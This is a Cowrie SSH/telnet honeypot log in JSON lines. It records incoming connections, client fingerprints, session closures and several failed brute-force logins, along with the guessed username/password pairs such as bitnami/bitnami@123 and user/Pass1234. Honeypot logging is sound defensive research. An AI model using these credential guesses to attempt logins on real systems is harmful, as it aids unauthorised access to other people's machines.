{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:52.733522Z","src_ip":"112.217.199.222","session":"820f19f2cb43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.775171518325806,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:56.747798Z","src_ip":"64.227.9.242","session":"4dad290e77d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.800015926361084,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:57.016900Z","src_ip":"64.227.9.242","session":"5deaef362cd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":52920,"dst_ip":"10.17.0.5","dst_port":22,"session":"67999d0070bc","protocol":"ssh","message":"New connection: 103.129.221.202:52920 (10.17.0.5:22) [session: 67999d0070bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:58.278591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:58.282857Z","src_ip":"103.129.221.202","session":"67999d0070bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:58.529572Z","src_ip":"103.129.221.202","session":"67999d0070bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58876,"dst_ip":"159.203.135.109","dst_port":23,"session":"978b148e7930","protocol":"telnet","message":"New connection: 64.227.9.242:58876 (159.203.135.109:23) [session: 978b148e7930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:59.249956Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":59116,"dst_ip":"159.203.135.109","dst_port":23,"session":"372255b10431","protocol":"telnet","message":"New connection: 64.227.9.242:59116 (159.203.135.109:23) [session: 372255b10431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:59.441003Z"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami@123","message":"login attempt [bitnami/bitnami@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:13:59.675297Z","src_ip":"103.129.221.202","session":"67999d0070bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:00.922559Z","src_ip":"103.129.221.202","session":"67999d0070bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.16945838928223,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:02.164732Z","src_ip":"64.227.9.242","session":"199a82576f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.671281576156616,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:04.745901Z","src_ip":"64.227.9.242","session":"2c3fed49ea30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":51988,"dst_ip":"10.17.0.5","dst_port":22,"session":"8818f2fbaa92","protocol":"ssh","message":"New connection: 1.235.192.214:51988 (10.17.0.5:22) [session: 8818f2fbaa92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:12.891340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:12.895953Z","src_ip":"1.235.192.214","session":"8818f2fbaa92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:13.086465Z","src_ip":"1.235.192.214","session":"8818f2fbaa92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.30363368988037,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:13.754983Z","src_ip":"64.227.9.242","session":"84a2e54e841c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"asdf","message":"login attempt [testuser/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:13.866583Z","src_ip":"1.235.192.214","session":"8818f2fbaa92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:15.056317Z","src_ip":"1.235.192.214","session":"8818f2fbaa92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.28336763381958,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:15.375770Z","src_ip":"64.227.9.242","session":"01d9995ae797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.838316917419434,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:20.573761Z","src_ip":"64.227.9.242","session":"6cd6184e6e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.111597299575806,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:22.302618Z","src_ip":"64.227.9.242","session":"18dd8f445cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02303910255432,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:22.790167Z","src_ip":"64.227.9.242","session":"db2e7b2622e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.157745361328125,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:25.475626Z","src_ip":"64.227.9.242","session":"7035b4a67fb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49905872344971,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:25.532924Z","src_ip":"64.227.9.242","session":"53483409236a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.26365280151367,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:35.704573Z","src_ip":"64.227.9.242","session":"372255b10431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.4861261844635,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:35.735932Z","src_ip":"64.227.9.242","session":"978b148e7930","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.104.7.113","src_port":34778,"dst_ip":"159.203.135.109","dst_port":23,"session":"e288a0404c4b","protocol":"telnet","message":"New connection: 176.104.7.113:34778 (159.203.135.109:23) [session: e288a0404c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:38.738534Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":46750,"dst_ip":"159.203.135.109","dst_port":23,"session":"d041469f0c3a","protocol":"telnet","message":"New connection: 64.227.9.242:46750 (159.203.135.109:23) [session: d041469f0c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:40.297209Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49796,"dst_ip":"159.203.135.109","dst_port":23,"session":"c94a457d74e4","protocol":"telnet","message":"New connection: 64.227.9.242:49796 (159.203.135.109:23) [session: c94a457d74e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:43.860959Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":57344,"dst_ip":"10.17.0.5","dst_port":22,"session":"3db9a311ade1","protocol":"ssh","message":"New connection: 112.217.199.222:57344 (10.17.0.5:22) [session: 3db9a311ade1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:44.017898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:44.022725Z","src_ip":"112.217.199.222","session":"3db9a311ade1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:44.220093Z","src_ip":"112.217.199.222","session":"3db9a311ade1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oraclezxc","message":"login attempt [ubuntu/oraclezxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:45.043717Z","src_ip":"112.217.199.222","session":"3db9a311ade1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:46.246102Z","src_ip":"112.217.199.222","session":"3db9a311ade1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52984,"dst_ip":"159.203.135.109","dst_port":23,"session":"e726636f07c5","protocol":"telnet","message":"New connection: 64.227.9.242:52984 (159.203.135.109:23) [session: e726636f07c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:47.545320Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42054,"dst_ip":"159.203.135.109","dst_port":23,"session":"d11d62b45ab2","protocol":"telnet","message":"New connection: 185.26.126.47:42054 (159.203.135.109:23) [session: d11d62b45ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:50.754007Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":42526,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ba52b33f8d1","protocol":"telnet","message":"New connection: 185.26.126.47:42526 (159.203.135.109:23) [session: 5ba52b33f8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:51.767387Z"}
{"eventid":"cowrie.session.closed","duration":13.140663862228394,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:51.879114Z","src_ip":"176.104.7.113","session":"e288a0404c4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":56830,"dst_ip":"10.17.0.5","dst_port":23,"session":"15362aeb3b04","protocol":"telnet","message":"New connection: 198.58.117.211:56830 (10.17.0.5:23) [session: 15362aeb3b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:55.493971Z"}
{"eventid":"cowrie.session.closed","duration":0.007333278656005859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:14:55.501167Z","src_ip":"198.58.117.211","session":"15362aeb3b04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47070,"dst_ip":"10.17.0.5","dst_port":23,"session":"928f63c74b0b","protocol":"telnet","message":"New connection: 188.208.141.113:47070 (10.17.0.5:23) [session: 928f63c74b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:01.400958Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39772,"dst_ip":"159.203.135.109","dst_port":23,"session":"82455f94eaa3","protocol":"telnet","message":"New connection: 64.227.9.242:39772 (159.203.135.109:23) [session: 82455f94eaa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:03.817811Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":49202,"dst_ip":"10.17.0.5","dst_port":22,"session":"a57872d476ee","protocol":"ssh","message":"New connection: 152.32.171.213:49202 (10.17.0.5:22) [session: a57872d476ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:04.659914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:04.664586Z","src_ip":"152.32.171.213","session":"a57872d476ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:04.882524Z","src_ip":"152.32.171.213","session":"a57872d476ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Pass1234","message":"login attempt [user/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:05.768653Z","src_ip":"152.32.171.213","session":"a57872d476ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":40444,"dst_ip":"159.203.135.109","dst_port":23,"session":"867e79a2a9fd","protocol":"telnet","message":"New connection: 64.227.9.242:40444 (159.203.135.109:23) [session: 867e79a2a9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:05.844779Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":57232,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6bf070fc728","protocol":"ssh","message":"New connection: 103.13.206.100:57232 (10.17.0.5:22) [session: a6bf070fc728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:06.604347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:06.611590Z","src_ip":"103.13.206.100","session":"a6bf070fc728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:06.856117Z","src_ip":"103.13.206.100","session":"a6bf070fc728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:06.988719Z","src_ip":"152.32.171.213","session":"a57872d476ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":50762,"dst_ip":"10.17.0.5","dst_port":22,"session":"662b1f81d62e","protocol":"ssh","message":"New connection: 198.58.117.211:50762 (10.17.0.5:22) [session: 662b1f81d62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:07.121025Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:07.128946Z","src_ip":"198.58.117.211","session":"662b1f81d62e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.006170511245728,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:07.760087Z","src_ip":"185.26.126.47","session":"d11d62b45ab2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"julian","password":"test","message":"login attempt [julian/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:07.883194Z","src_ip":"103.13.206.100","session":"a6bf070fc728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:09.128981Z","src_ip":"103.13.206.100","session":"a6bf070fc728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.43076515197754,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:09.198041Z","src_ip":"185.26.126.47","session":"5ba52b33f8d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":56014,"dst_ip":"10.17.0.5","dst_port":23,"session":"255f11f63ab3","protocol":"telnet","message":"New connection: 69.65.3.189:56014 (10.17.0.5:23) [session: 255f11f63ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:14.148679Z"}
{"eventid":"cowrie.session.closed","duration":35.676673412323,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:15:15.973809Z","src_ip":"64.227.9.242","session":"d041469f0c3a","protocol":"telnet"}
